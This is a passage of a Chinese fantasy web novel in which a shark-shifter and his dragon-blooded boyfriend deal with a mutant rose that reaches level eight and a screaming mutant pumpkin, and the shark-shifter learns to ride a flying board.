“我怎么知道？他又没跟我说。”沙伍觉得自己肯定是讲道理的男朋友，能够理解姜纶应该有很多正事需要做，他也不是非得要男朋友陪着自己，就是本来两个人天天黏糊在一起，怎么正式确立关系后突然就见不到人影了？ 这落差他没法丝滑接受。 “哈？他没跟你说？”小风头疼，用很浮夸的演技单手摁住脑门转了个圈，“他要跟你结婚，没跟你说？！” 沙伍定定看着小风十秒钟，歪了一下脑袋，全身上下每个毛孔都写满了怀疑：“结婚？” 小风一巴掌就呼撸到沙伍头上，把不明所以刚进门的二号设计师及助手吓了一跳。 卧槽！ 姜家的小女仆竟然敢打小少爷的未婚夫？！ 这个未婚夫是什么小可怜吗？ 瞧着确实瘦巴巴的，样子也很可……很可以怜爱。 “别装可爱。” “我没装！我本来就很可爱！不对，帅！”伍哥每天都被自己帅醒！ 淦！ 现在不是帅不帅的问题！ 沙伍跟设计师说了声抱歉，直接跳楼：“小粉，帮我找姜纶。” 设计师又被吓了一跳，和助手们跑到窗户边往下面看，就见沙伍骑着月季花组成的游龙在飞翔。 “我的天！”这一幕太让他感到震撼了。 他勉强能算是个异能者，但他的异能只是让他的眼睛能够分辨更多的色彩。 他的异能值等级堪堪达到F级，在后续的异能学习中，也没有表现出任何的战斗天赋，甚至是异能方面的相关敏感度，一直以来的生活和没有异能的普通人差不多。 当然，他对于色彩的敏感，让他在服装行业中成为了佼佼者。 这几年，他服务的对象已经变成了一些大人物，不少高级异能者都是他的客户。 但他从来没想过异能可以这么生活化，又这么华丽。 一瞬间，他的脑子里充满了各种灵感，许多光屏铺开，画笔不断描绘。 小风看了一眼，小声对助手们说了一声抱歉。 沙伍已经被小粉送到了姜纶面前。 姜纶正在梁管家的办公室里说话，就看到沙伍骑着粉红墨绿的巨龙停在窗口。 巨龙绿色的爪子“叩叩”敲了两下。 月季花变成的巨龙已经脱离了月季的样子，像是一条活着的巨龙，鳞片、须发、犄角，甚至眼睛里的神采都活灵活现。 小粉的变化是在宿舍一众人的眼皮子底下迅速蜕变完成的，但这么近距离跟它对上，梁管家还是觉得心跳漏了一拍。 姜纶倒是一点都不怕，打开窗户，高举双手把沙伍从粉龙身上抱下来：“怎么了？” 沙伍习惯性想抱抱蹭蹭亲亲三连，突然想到目的，一下跳下来，还往后退了一步，拉开和姜纶的距离：“小风姐说，我们要结婚？” “对啊。我问你，你不是同意了吗？”姜纶把沙伍的手握住，“放心，我知道你年纪还小，没打算这么快就结婚。今天这些裁缝是来做冬季衣服的。冬季衣服比较多，这些裁缝擅长的风格不一样。你第一次这么定做衣服，到时候挑选一下喜欢哪几个。” 沙伍被他绕了进去，也觉得自己谈恋爱是奔着结婚去的，并没有骗人的意思，将来也找不到比姜纶更好吃……更贴心的男朋友了；虽说现在就开始准备结婚有点早，但不能泼姜纶的冷水。 “哦，好叭。”《 》 40-50 第41章 八级 姜纶重新抱起沙伍，把他放回到等候在窗口的粉龙身上：“好了，辛苦点让裁缝们今天量完了就好。” 粉龙载着沙伍重新飞回四楼，又变成了满墙的月季花。 梁管家目瞪口呆：“这就哄好了？” 姜纶微笑：“小鲨鱼对别人的善意没有抵抗力。”只要拿准他这点，特别好哄，“你确定小鲨鱼没察觉保护他的人？” “确定。”梁管家很满意自己的安排，“葫芦口有几个岛。我安排的人就待在其中一个岛上。你知道沙伍变成鲨鱼后眼里只有吃的，基本不上岸。人就待在岛上对他看着，根本不会发觉。”轻松的话题说完，他的表情变得严肃，“至于那位三年级的同学有没有污染，我现在就过去亲自确认。” “麻烦梁伯。”姜纶说完，就想去四楼看沙伍做衣服。 梁管家看他准备走窗户，赶紧把人叫住：“大门在那边！” 姜纶回头：“我也想骑龙。” 梁管家上前，把人拽着手腕拖出自己办公室：“你还骑龙呢，不跟小粉打架就不错了。”自己就是龙了，还骑什么龙？ 高级变异植物有脑子，但不多。 小少爷把小粉砸断了许多枝条的新仇近在眼前。 虽说他已经在打算盖新房子，但选址都还没定，实在不想这会儿就把房子拆了。 现在已经入秋，再过两个月该开始取暖。 总不能大冬天住帐篷吧？ 哦，小伍应该会喜欢，可以给他在院子里搭建一个帐篷玩。 出了门的姜纶只能老老实实坐电梯上楼。 这些天难得有时间和沙伍在一起，哪怕旁边有其他人也得珍惜。 沙伍发出邀请：“明天早上陪我去遛弯？今天看到一个地方的螃蟹特别多，我想再去抓点。院长也喜欢吃。好久没看到院长了？” 姜纶说道：“院长啊，最近有个交流会，应该去密谋什么奇怪的事情了吧。别想着院长了，你明天早上也别去抓螃蟹，早上还有别的事情，要遛弯的话，我们一起去菜地遛个弯。” 沙伍发出鄙夷的声音：“谁家豪门大少爷带着男朋友去菜地遛弯的？” “我不是。我是小少爷。”姜纶理直气壮，“去不去？我培育了一些变异番茄小苗，带回来种暖棚里单独培育一下，不知道能不能变异出好的性状。” “大的那个暖棚这几天不能用。变异柠檬熟了，薛哥不让进。”他的快乐木有了，“熟了的变异柠檬有什么用？”只会往外吐酸水吗？ 小少爷什么都懂：“可以做强效清洁剂。气味不敏感的话，野外任务的时候可以带一瓶稀释的变异柠檬汁，晚上休息的时候在营地外面喷一圈，防一些变异小昆虫和植物根茎、花粉之类的效果不错，还具有一定净化污染的效果。” 气味超敏感小鲨鱼：“嗷，那我不行。我之前摘了那么多没熟的变异柠檬，是不是影响产量了？” “家里的这几棵就是观赏用的，没什么产量不产量一说。”再说薛春种的东西，能不能作为正经清洁剂还两说，感觉能直接把东西给清洁没了。 想到薛春种的东西，他就下意识往窗外看。 一朵粉色的拳头大的月季花在窗口默默绽放，但瞧着有点像一只猫猫祟祟的小猫咪。 沙伍顺着他的视线也看到了，摆摆手：“小粉自己去玩吧，我还忙着呢。” 墨绿的叶片耷拉在花朵边上，像是两只绿色的小爪爪。 “那一起看记录……动画片？” 花朵上猛地竖起圆圆的小耳朵，一只粉色毛毛的舞狮跳了进来。 勉强镇定的设计师团队发出一声惊呼：“这……太不可思议了！” 沙伍不觉得有什么问题，觉得别人是在夸奖小粉，扬起一个大大的笑脸：“小粉超~厉害的！” 舞狮的短尾巴摆了摆，表示赞同。 沙伍找到资源，切换掉屏幕上的记录片，换成一部小猫小狗小动物的动画片。 他对看动画这件事情，在小时候有些模糊的印象，记得几个动画角色，但要让他说看了个什么故事，那是一点都说不上来，现在陪小粉一起，看着动画片里凶恶的大狗把可怜的小猫咪怼到墙角，小猫咪瞬间张开大嘴把大狗一口闷，嚼吧嚼吧还吐出一个大狗灵魂。 “啊这……现在的动画片这么惊悚的吗？”他下意识伸手要抱抱身边的小粉。 姜纶把他伸开的手握了握，免得他抱到设计师助理身上。 窗口窸窸窣窣爬进来一株紫色和白色的双色月季。 最近大概是气候混乱了，双色月季突然爆花，光屏前眼珠子花花铺开一地。 一株月季撑起一个影院。 姜纶都不敢想这些变异植物看这些动画，最后会变成什么样，打开手环联系薛春：“快过来把你家孩子带走。” 薛春莫名其妙，踩着飞板从窗口飞进来：“什么我家孩子？” 他连个女朋友都还没有，哪来的孩子？ 一地眼珠子齐齐看向他。 一地的嘴巴张合几下，像是随口会叫他爸爸。 薛春：“……” 薛春镇定，把手上的变异柠檬放到地上：“小伍，有个还没熟的，给你放这儿了，一会儿记得自己拿。” “好~” 一地的嘴巴花跟着张了张，没有声音，跟着比划了一个“好”的口型。 薛春问小粉和双色月季：“跟我去玩吗？” 粉色舞狮和双色月季在薛春和沙伍之间来回张望，显得有些摇摆。 姜纶不客气，一脚踢在粉色舞狮的屁股上：“走开。” 薛春看着眼巴巴看着自己的月季花，改口：“来，爸爸带你们去玩。” 两株高级变异植物跟爸爸走了。 好不容易忙到晚上算是忙完了，沙伍睡前进行例行的冥想，还没进入状态，一只粉色小（？）猫咪就突然跳到了床上。 “嘭”地一声，床塌了。 沙伍坐在床垫上弹了弹，抱着的变异柠檬滚到一边：“小粉？” 在层高三米六的房间里还得低着头的小猫咪眼睛圆溜溜的，尾巴尖微微翘起小幅摇摆，张了张嘴，依旧没有声音。 小粉猫除了个头不对外，长相跟下午看的动画片里的小猫咪一模一样。 沙伍伸手。 小猫咪迫不及待就把脑门怼上去蹭。 “哈哈哈。小粉真可爱~小粉怎么这么可爱~又可爱又好看！”沙伍摸着小粉猫。 月季花变成的猫咪，有着毛绒绒的外观，但摸上去的手感是花瓣的柔软微凉，散发着月季花清雅的香气。 小粉猫感觉到沙伍的情绪，不断用头顶去蹭他。 于是等深夜姜·男鬼·纶准备压床的时候，猝不及防看到男朋友的床上不仅没有他的位置，甚至连床都没了。 夜色对他的视力一点没有构成障碍。 老实说，样貌纤细可爱的少年躺在一床粉色花瓣上，怀里抱着一只巨大的粉猫猫，画面还是很唯美的。 尤其是这个少年是长在他心窝窝里的小鲨鱼，他感觉眼前的简直是世界上最美妙的画面之一。 但是！ 他的位置呢？ 四脚朝天的小粉猫尾巴左右大幅度甩来甩去，滚圆的眼睛盯着突然出现的姜纶，看他上前一步，猛地一个翻身，冲着他哈气。 “哈——” 声音很轻，有点像叶片摩擦，但确实是哈气声。 姜纶停下脚步，联系薛春：“过来把你家孩子带走。” 晚上睡得特别死的薛春，最后是被阿大过去叫醒了带到楼上。 这几天一直在做换季打理的薛春，晚上天一黑就睡着了，这会儿勉强被叫醒，困得眼睛都睁不开：“怎么了？” 知不知道现在的院子有多少工作要做？ 知不知道有多少工作都不能拖时间？ 知不知道他的小粉…… “小粉？你怎么在小伍房间里？跟爸爸回去睡觉了。”原来就这事？ 讲道理，让小粉跟小伍一起睡又不会怎么样。 小少爷就是小气。 小粉趴在地上，看到爸爸显然很高兴，发出放松的呼噜声。 薛春露出老父亲的微笑。 他的小粉果然很可爱。 阿大的脸色已经变了，嘴角抽搐，浑身僵硬：“你特么的……八、八……” 薛春嫌弃：“小粉才是我的宝，你当我儿子太老了。” 姜纶补充完阿大的话：“八级。小粉要跨入八级了。”还没到八级，但快了，现在就在八级的门槛上。 清新的月季花香在夜色中逐渐变得馥郁。 三个人在这里说了这么多话，沙伍一点都没有醒的迹象。 两名家庭医生跟着走进房间。 远比正常卧室要大得多的房间，这会儿占据着一只巨大的粉猫，再加上几个人，突然显得有些拥挤。 小粉歪了歪头，判断都是熟人，没有什么威胁，就打了个大大的哈欠，把脑袋搁在沙伍身上。 眼睛眯起，但没完全闭上，身体对着姜纶的那一侧微微凹陷，显然在躲避姜纶。 姜纶把医生带过去，给沙伍做了个检查。 薛春也跟着过去，给小粉做了个检查：“是不是想要待在小伍身边？” 小粉歪过脑袋，把它爸蹭了个趔趄，差点摔倒。 薛春伸长胳膊，还是摸不到猫猫头，改为摸摸猫猫的嘴巴：“爸爸陪着你。” 他培育的等级最高的变异植物就是小粉。 小粉从变异之初就是七级。 这几年，小粉的实力确实一直在稳步增长，但高级变异本来就很难提升等级，植物比动物更难。 他根本都没想过，自己有生之年，竟然能够培育出一株八级变异植物。 在木系异能者中，他马上就要名留青史！ 医生检查完了沙伍的身体状况：“小伍没事。” “他现在没醒，应该是吃饱了。吃饱了就睡。” “哦。”姜纶明白了，但眉头皱起，嘴角下撇。 原来小鲨鱼除了吃他，还能吃别的？ 难道他不是小鲨鱼最爱的小少爷了吗？ 哦，小鲨鱼还有次爱的小粉是吧？ 钝感力很强的变异植物瞬间缩小，把自己藏在沙伍的头发里，假装自己是个普普通通的花环。 巨大的小粉猫瞬间消失，整个房间都为之一空，光线都明亮了几分。 他们动静太大，宿舍里其他人也陆续赶到，刚进门就看到这一幕，纷纷倒抽气。 “这就……八级了？” “小薛，那个，还听你的吧？” 八级变异植物要是真的要暴躁起来，那攻击力可不是一般的强。 家庭医生还浑然不知别人的警惕，用羡慕的眼神看着打了个饱嗝的沙伍：“小伍的运气是真不错。高级变异植物晋级的时候，产生的能量是很补的，还很温和。”相当于毫无负担地吃了一顿十全大补汤。 另一位家庭医生也是一样的心情：“以前读书的时候学到这方面的知识，从来没想到这种理论上的可能竟然真的能够成为现实。” 高级变异植物本来就少。 不管是往那个方向变异的高级变异植物，哪怕是自保的手段，都能让大多数人望而却步，更别提绝大部分的高级变异植物的脾气都不怎么好。 野外的高级变异植物，几乎有一个算一个，都是“领主”，掌控着范围不小的领地。 想要蹭到它们升级的能量？ 光是靠近它们就得九死一生。 而且除非特殊情况，在没有确保安全前，它们是不会进阶的。 人工培育的高级变异植物相对情况会好一点，但也就一点，多一点都没有。 在进阶的时候，它们对自己的培育者都保持警惕，并且在进阶成功后，很可能会脱离培育者，甚至反杀。 这种反杀案例在木系异能者中并不罕见。 “好在”变异植物进阶的情况很少，大部分变异的时候是几阶就是几阶。 别看小粉之前站在八级的门槛上，但它有可能一辈子都停留在这个水平，无法真正迈入门内。 万万没想到，小粉晋级得这么快，这么轻易。 沙伍能够蹭到这波能量，都不是幸运能够形容的。 站在边上的薛春也蹭到了一点，但只是一小部分，他感觉大半部分都进入到了沙伍的体内。 同样在一旁的两名家庭医生和姜纶就没吸收到一点能量。 这些晋级时富余的能量，能不能被吸收，能够被吸收多少，还得看双方异能属性是不是能够相互包容，贡献能量的一方是不是对吸收的那一方喜爱。 他一点都不介意沙伍吃掉了大头，知道小粉能够这么云淡风轻地跨过这道门槛，完全是因为沙伍。 而且他有理由相信，小粉只是第一个，接下来还会有更多的植物晋级。 “哼嗯……”沙伍微微皱起眉头，开始在床上辗转反侧，没一会儿就挣扎着醒了过来，顶着脑袋上的小粉猫坐起来，疑惑地看着自己房间里的一堆人，张口，“呃！”打了个饱嗝儿。 “大半夜的不睡觉，跑我房间里团建？”就算他把床睡塌了……不是，床是小粉压塌的。 咦？ 沙伍低头和端坐在他腿上的小粉猫四目相对。 只有两个拳头大，脑袋圆圆身体圆圆的小猫咪，竖起的尾巴尖微微一弯：“喵~” 嗓音没夹住，像是两片带着锯齿的破铁片哐哐一顿搓。 一屋子人都听得一个激灵。 八级变异生物果然不会那么可爱。 沙伍却像是被什么击中了，把小猫咪抱起来一顿贴贴：“小粉真的好~~~可爱！MUA！” “乱亲什么！”一直旁观的姜纶终于忍不住了，臭着一张脸，伸手提溜住小粉猫的后脖颈，丢给薛春，“把你家孩子带走！敢对我小鲨鱼使用幻术！” 薛春试图解释：“小粉没有致幻能力……” 阿大一把捂住他的嘴，把人往门外拖，顺手招呼其他人一起出门：“走了走了。最后的人把门带上。” 没看到小少爷已经很生气了嘛，一点眼力见没有。 待在房间里的姜纶也是转身就走，当然打包走了沙伍，直接走密道把人带回了自己房间。 “说回房去冥想？骗我！” 被放到床上的沙伍打了个哈欠，又困又撑得有些难受，抬手阻止姜纶鬼压床，站起来在床上转了一圈：“你换了个新床！我也要换个新床！” 这个床好大，感觉都能躺下他的觉醒体。 “少转移话题。”姜纶去逮沙伍，却见他已经跳下了床，开始在房间里转圈，“怎么了？房里别的东西没换。” “没。”他拍了拍肚子，“怎么感觉做梦的时候大吃一鲸？好撑啊。吃完晚饭的时候还没这么撑。” 姜纶就把刚才他吃到了小粉晋级能量的事情说了：“睡不着的话，去医院做个体检？” “现在？”沙伍用一种“你没病吧”的眼神看过去，从窗帘后面拖出一条金龙玩具，夹着龙脖子从卧室走到书房，再走到起居室，转一圈又从另一边的门绕回卧室，再走到卧室里面的衣帽间，又绕出来，感觉房间里绊手绊脚的东西太多，拖着金龙又去了对面的大书房。 姜纶跟过去，盘腿坐在中间，看沙伍拽着金龙的尾巴绕圈圈：“你第一次把床睡塌，竟然不是跟我。” 沙伍听得猝不及防，脚下一个踉跄，差点平地摔：“啊？”为什么要和姜纶一起把床睡塌？难道姜纶是打算用觉醒体睡在床上？有那么大的床吗？ 等！ 沙伍脚一软跌倒在金龙上，七手八脚赶紧爬起来：“倒、倒也不用这么激烈。” 姜纶发出一声轻笑，直接就躺平在地板上：“跟你说啊，不可以乱亲别人。” “小粉也不可以亲吗？” “不可以。” “小猫也不可以亲吗？” “不可以！” “那……小龙也不可以亲吗？” 姜纶简直垂死病中惊坐起，大怒着拍大腿：“不、可、以！” 沙伍快步走到他面前，盯着他看，不说话。 姜纶感觉到压力，心虚。 啧，他心虚什么？ 缓缓移开的目光又对上沙伍的，声音弱了下来：“这不是我霸道……我就是霸道怎么了！” 沙伍突然低头亲了他一下：“小龙不可以亲吗？” 姜纶的气势汹氵。 姜纶一歪头又倒在了地上，看着重新遛弯消食的沙伍，喃喃：“瞎撩什么？” 沙伍倒是没真的想在大书房里犁出三亩地，小转两圈就用玩具小龙绕着个圈，把姜纶圈起来，然后自己躺到他身边，双手双脚伸直。 姜纶伸手摸摸他的肚子：“不撑了？” “没。”沙伍很难描述自己的感觉，“有点像吃撑的感觉，又有点微妙的不同。过于能量满满。现在要是再遇到清道夫，我能打三个！” “你就吹吧。”姜纶听他提起清道夫，就想起沙伍遇到危险的时候自己没能保护他，就心情低落，“清道夫再怎么样，也是六级七级的水准，真要发狠针对你一个人，打不过的。” 沙伍“哼哼”两声，难得不嘴硬，滚到姜纶身上趴着。 姜纶刚想把人搂住，沙伍又翻身下去，推开姜纶扒拉过来的手：“不要，趴着难受。我现在是仰泳的鱼。” “噗。”姜纶侧过身，“有床不睡，睡地板？” 沙伍就朝上伸出手：“不想动。” 姜纶把沙伍抱回房间，还不忘记顺路踢了一下地上的玩具小龙。 纯粹是因为玩具绊脚，绝对不是姜小龙小心眼。 沙伍原本还翻来覆去说撑，但在让他心安的气息包围下，很快就睡着了，早上醒过来横在床中间。 姜纶听到动静，从衣帽间探头：“醒了，陪我去菜地？” 沙伍昨天晚上闹了半天，现在还困着，仰头又倒了下去：“你番茄苗不是没地方移嘛。” “梁伯说可以给我搭个小棚，一天就能完工。”姜纶换好衣服过来，单膝跪在床上，俯身亲了一下沙伍的头顶，“不想去？” “嗯。” “那你睡个回笼觉。我看看有什么水果熟了给你带回来。” 姜纶的菜地就真的是种菜的菜地，原本种了一些果树，后来都被薛春搬到院子里种了。 他说的水果熟了，只能是别人家的水果。 沙伍劝他：“你别给人‘疏果’了。” “我有分寸。”从来没一次被人打上过家门，可见别人顶多是有点意见，但可以克服。 沙伍说道：“你种的南瓜熟了没？有熟的给我摘个南瓜？” “行。” 沙伍刚才只是随口一说，等说完还真的想吃甜甜的南瓜了。 说起来，东湖的南瓜品种其实很出名很好吃。 到了南瓜成熟的季节，孤儿院和市里的饭店都会做各种南瓜，其中有很多特色甜点。 他最喜欢的是南瓜饼。 他发消息给祁大厨：“叔~我想吃南瓜饼~甜甜软软包着豆沙馅的南瓜饼~” 祁大厨回得很快：“我已经菜场回来了，没有！”转头吩咐，“阿大、阿二，你们谁去菜地摘两个小少爷种的南瓜回来！” 第42章 姐姐 蒸熟的南瓜还没从蒸箱里拿出来，就散发出清甜的味道。 鼻子特别灵的沙伍从四楼骑着猫就跑了下来，刚到厨房门口就紧急刹车，脸色发白。 阿大举起一把汤勺，一勺下去把在尖叫的南瓜敲成糊糊：“哦，这个是品种问题。你知道小少爷喜欢种一些奇怪的变异蔬菜。” 阿二补充：“这个原始品种是西方天使城那儿的一株高级变异南瓜，当初造成了很大的伤亡。后来有高级木系异能战士拿来培育，没能保留变异等级，可以用来吓人。之前是作为饲料品种引进的，后来经过几代改良和杂交，现在口味非常好。” 沙伍凑到南瓜糊糊前嗅了嗅。 小粉猫也学着沙伍的动作嗅了嗅。 “做饲料用……不会把牲畜吓死吗？”沙伍想着昨天自己咬到一个“啊”一声的螃蟹学长，被吓了个够呛，完全不能想象一群猪猪或者羊羊吃这种会尖叫的南瓜。 祁大厨从外面进来：“想多了。这个品种的南瓜稳定三级变异，能吓得了谁？” 一级都没有且被吓到的小鲨鱼：“……我去上课了。” 阿大听着沙伍的脚步声跑远，脸上露出微笑，一扭头看到蹲在岛台上的小粉猫，笑容僵住：“叔，猫。” 阿二的脸色也不好看：“小伍怎么没把猫带走？” 祁大厨没好气地把两人拨开：“忙你们的去。小粉比你们小时候听话多了。” 阿大阿二一听，顿时不吱声了。 他们两人和沙伍差不多，双亲去世的时候，都还很小。 他们的父亲曾经救过姜祁，姜祁就收养了他们。 姜祁当年已经是七级异能战士，但才十几岁的年纪，根本没有带孩子的经验，更何况是两个S级异能值天赋，没有任何控制力的小孩儿。 日子过得鸡飞狗跳。 不得已，姜祁这个已经和后土城姜家关系很远的旁支，才找回本家寻求帮助。 变成两个拳头大的小粉猫果然情绪稳定，跟着祁大厨看他怎么做饭，时不时从他手上蹭一口吃的。 祁大厨是一点都不嫌它烦：“怎么跟小伍似的，什么都想尝一尝。” 小粉猫：“喵~” 一张口，还是破锣嗓子。 没一会儿，南瓜饼做好了。 小粉猫变成大粉猫，强烈要求给沙伍送去。 祁大厨就把南瓜饼装在一个纸盒里，交给小粉用尾巴卷住：“去吧。” 见小粉一下就跑了个没影，他转头对阿大阿二说道：“喏，小粉比你们能干多了。” 长到十几岁才勉强能控制住自己异能，阿大和阿二羞愧低头。 楼上的沙伍今天上的不是文化课，而是礼仪课。 老师是姜纶。 他教的真正关于言行举止方面的东西不多，主要是在讲姜家的一系列利益关系和牵扯到的人。 沙伍的记性很好，但一下子出现那么多人名和蜘蛛网一样的人物关系，还是让他感到头疼：“要不你还是教我怎么走路吃饭喝水吧。” 姜纶忍不住笑：“那些不过表面功夫，差不多就行了。再说只要你足够强，你做的事情就什么都是对的，还会有一堆人学。”说到这里，他停顿了一下，“我们不需要参加什么公开场合，那些事情有专门的人负责。” “哦。”沙伍伸了个懒腰，看到在门口探头探脑的小粉，顿时眼前一亮凑过去贴贴，“喵~” 小粉：“喵~” 姜纶从小粉的尾巴上把纸盒拿过来放桌上，吐槽：“小粉你有点志气。作为一只猫，怎么能跟一条鱼学猫叫？” 沙伍抱着变小的猫猫，抗议：“怎么也得是人教版。不然你来个龙教版？” 姜纶拿起一块南瓜饼投喂。 南瓜饼做得小巧精致，一口一个。 糯叽叽的外皮里包裹着饱满绵密的玫瑰豆沙馅儿。 小粉猫看着姜纶，小心翼翼上前，张嘴。 姜纶把准备送进自己嘴巴的南瓜饼，转了个弯递过去：“喵？小心烫。” 小粉猫张大嘴，想想不合适，又改成小心叼住边边，跳到桌子上，才一口咬下去。 黏糯的饼子一下就把小粉猫的五官都粘在了一起，着急得浑身暴刺。 布满红色倒钩的枝条像是坏床垫炸开的弹簧，一根根扎进墙壁，破开窗户，破开楼下的草坪，带出大块土壤。 姜纶&沙伍：猝不及防！ “怎么了？” “小粉失控了？” 一群人训练有素地出现，结果发现就是小粉吃了个南瓜饼。 薛春哭笑不得，稳定住小粉的情绪，让小粉变回月季花的样子，用异能给它进行了一番修剪。 小粉吃了个饼子，损失了一堆花瓣和叶片，给自己找了个花盆待着。 墙壁待不了，管家伯伯的气场很可怕，指挥着修缮。 薛春把贴着围墙的各种变异植物全都收了起来。 姜纶也不想在家里多待，拉着沙伍出去玩飞板，报备：“梁伯，我们去看看哪里适合建房。” 梁管家板着一张脸，一个字都不想说。 他原本还计划着先找到合适的地点，房子在这个学年结束前建完就可以了。 现在看来，别说是这个学年结束了，现在的宿舍都未必能够撑到这个冬天到来。 飞板是异能者中比较流行的一种运动，除了很强的观赏性之外，还有很高的实用性。 沙伍还没有玩过飞板，只是见薛春经常用。 姜纶示范：“先踩上去。” 薄薄的板子放在地上，踩就踩了。 就这？ “然后呢？” 姜纶其实也不是很熟练，但不妨碍他在沙伍面前装：“然后输入一点异能，记得少一点。飞板有风系晶核作为动力，我们输入的异能是作为启动的钥匙。” 他示范了一下，飞板一下子离地一米高。 沙伍看了看，头一次尝试把异能输入进别的物体中。 异能变成一条咪咪小的小鲨鱼。 小鲨鱼在飞板上扑腾了两下，重新游回沙伍体内。 沙伍低头看着飞板沉思。 姜纶踩着飞板绕着沙伍飞了一圈：“怎么样？” 沙伍像赶苍蝇一样挥手：“别烦，我在跟飞板建立联系。” 姜纶看他身边游出一群异能小鲨鱼，全都一下贴到飞板上。 飞板是专门的异能用品，本身存在着能够提供异能驱动的链路。 异能小鲨鱼很快就找到了正确的“钥匙孔”。 飞板“唰”一下就飞了起来。 沙伍“嘭”一下就倒在了草地上。 草地很柔软，伍哥的面子受到了极大的损伤。 姜纶降低飞板高度，把沙伍从地上拉起来，又把失去了异能支撑后的飞板拿过来：“刚开始学正常的。下次你摔下来的时候，记得给自己套个泡泡。” 沙伍跳起来，在姜纶的脸上咬了一口，才涨红着脸继续尝试。 不得不说，“已经建立联系”后，再尝试就简单得多。 飞起来。 持续飞行。 保持稳定高度飞行。 沙伍在半个小时内就学会了。 然后姜纶就看着沙伍一路飞成了一个天边的小点，才感觉不对，一边踩着飞板追上去，一边联系沙伍：“是不是回不来了？” 不知道怎么操控方向的沙伍，在视频里表情淡定：“啊，能回来的。等我绕地球一周就回来了。” 学校里玩飞板的人不多，但偶尔也能看见几个，不过显然都在忙自己的事情，唰唰就过去了。 人家的飞行高度也不高，跟小飞车差不多，摔下去顶多是青一块紫一块。 沙伍看了看底下的潮汐湖，估摸了一下自己现在的高度，摔下去得东一块西一块。 他保持着和姜纶的视频，尝试联系小风。 正经在给未来宿舍选址的小风不知道跑哪儿去了，没有信号，联系不上。 院长也是一样，已经联系不上好几天了。 他还在东张西望，就见岸边一群鸟飞了起来。 苍师傅、白师傅、夜师傅们应该是觉得领地遭到了侵犯，对沙伍进行驱赶。 喷火的、打雷的，风刃、冰刀，雨点子一样朝着沙伍密集攻击。 “破水鸡，能不能正经一点搞个水系变异！” 水鸟群大概是听懂了，满足他的愿望。 天空中瞬间暗沉下来，密集的冰雹砸下。 沙伍一急，异能输入瞬间增大，飞快和鸟群拉开距离。要不是给自己套了个鲨鱼泡泡挡冰雹，这一下加速度，人就得被甩下去。 原本已经看到沙伍的姜纶，眼睁睁看着沙伍一下就飞没了影子。 鸟群看到姜纶，立马散开。 宿舍草地上，抱着粉猫花盆的薛春问：“梁伯，要不要我去把小伍带回来？” 梁管家面无表情：“不用了，等他们玩够了会自己回来的。” 薛春看了看蔫蔫的小粉，又看了看梁管家：“好的。” 青龙学院一路往东，除了寥寥几个监测点外，完全没有人类生存。 野生动物非常多。 野生鸟类非常多。 沙伍以前被带着飞来飞去，有院长大人在，完全没有见识过这么多的鸟。 他一路飞，被鸟群一路撵。 “我一条鱼，为什么要飞？” 在海里，作为一条大白鲨，他还是很有排面的。 好不容易逃离了一群海鸥的追击，他突然就明白了飞板运动中那些花里胡哨的动作，原来都是实践经验的总结，是躲避攻击的实用技巧，不是炫技。 在严峻的环境下，他操控飞板的技巧一日千里，眼看着就要飞出葫芦口了，终于摸索出了怎么拐弯，在天空中划出一道U形，很快就和姜纶擦肩而过：“嗨~” 为了追人，把速度提到最高的姜纶，根本来不及减速：“小鲨鱼！” 最后一个字落下的时候，人已经飞不见了。 等姜纶一番周折，把沙伍追上，带回葫芦口的岛上，已经是五分钟后。 “咦？这里还有人？”沙伍好奇地看着躲在岩石后的女人，“姐姐住在这儿？” 女人二十七八的年纪，皮肤很白，很腼腆，挣扎着露出一个很牵强的笑容：“是的，你好、你们好！” 大声招呼完，她重重吐出一口气，像是完成了什么艰难的任务，见沙伍还在看她，赶紧又露出一个僵硬的笑容。 沙伍不知道她的身份，姜纶是知道的，但他暂时不想让沙伍知道这是负责保护他的人，出面商量：“你好，我们借一下场地练习一下飞板可以吗？” 女人赶紧说道：“请。随意。” 说完，她飞快地跑进礁石堆中。 沙伍这才注意到，原来山顶的礁石堆里面藏着一个小屋。 再仔细看，那些礁石也不正经，像是别的材料伪装的。 他很好奇，只是岛主看起来太内向了，不然真想仔细问问到底是什么东西。 “能够一个人在污染区生活，岛主姐姐一定是个很厉害的人吧。” 姜纶给了他肯定的答案：“嗯。你先别管岛主姐姐怎么样，先学会降落。” 沙伍已经摸索出了一点经验：“我知道怎么降落，不就是稳定减少异能的输入，自己就降落了。” 理论是理论，实际操作对他还是有亿点挑战。 飞板、飞车看起来是一样的东西，实际操作起来，才知道飞板比飞车要复杂得多，可操作性也强得多。 尤其是他以前开小飞车都是在城里，严重依赖自动驾驶，基本不需要切换手动。 飞板的操作依赖精细的异能输入，对操作者的异能消耗很少，但是要求比较强的控制力。 在原本就很少的异能基础上，进行进一步的减弱，沙伍还得更加加强对异能的控制。 “我在边上护着，你放心大胆试。” 刚才沙伍降落就是被姜纶捕捞到的。 小少爷不仅钓鱼，还捞鱼。 小少爷跃跃欲试。 沙伍拒绝：“我不要。” 为什么男朋友会随身带个抄网？ 那破抄网竟然还是异能武器！ 谁家异能武器这么不正经！ 敢再拿出来试试？ 咬不死他！ 姜纶遗憾地收回抄网。 巨大到能捞起小鲨鱼的抄网失去异能支撑，瞬间变成一条手帕，被姜纶叠好了塞进裤兜。 沙伍站在颇有点海拔的小岛上，寻找往下的路：“来都来了，我去抓几个螃蟹再回去。” 小鲨鱼要打猎，姜小龙不能下去，只能站在岛上等：“那我去海边看看有没有生蚝。” “我在这边，你去那边。”不然螃蟹都被姜纶吓跑了。 沙伍昨天已经踩好了点，今天抓螃蟹熟门熟路，不到一个小时就收获满满，送给岛主姐姐两个大螃蟹后，就提溜着鲨鱼泡泡，踉踉跄跄踩着飞板往回飞。 有姜纶跟着，一路上风平浪静，就是尝试下降的时候，沙伍刚开始还算间歇性稳定下降，到了距离地面大概20米的高度，也不知道触发了飞板上什么链路，突然就倒飞了出去，还一路打着圈螺旋升天。 伍哥镇定。 伍哥：“啊啊啊——救命——” 好几道身影冲了出去，比所有人都快的是一条自上而下的尾巴。 “哎，你们飞过头了。”带着点慵懒的女性嗓音响起，对着一群直冲云端的人招呼。 沙伍感觉自己的后脑勺轻轻挨了一下：“咦？” 女人轻笑一声：“好了，终于不叫了。” 沙伍睁开眼睛，发现自己连人带飞板被一条绿色的蛇卷住，身边的女人披散着一头长长的黑发，眉目如画，像是每一个细胞中都透露着力量和温暖。 嗯，很面善。 “谢谢姐姐。” 今天是姐姐日吗？ 刚刚遇到了岛主姐姐，现在又遇到了绿蛇姐姐？ 女人笑容更大：“嗯，你是该叫我姐姐。” 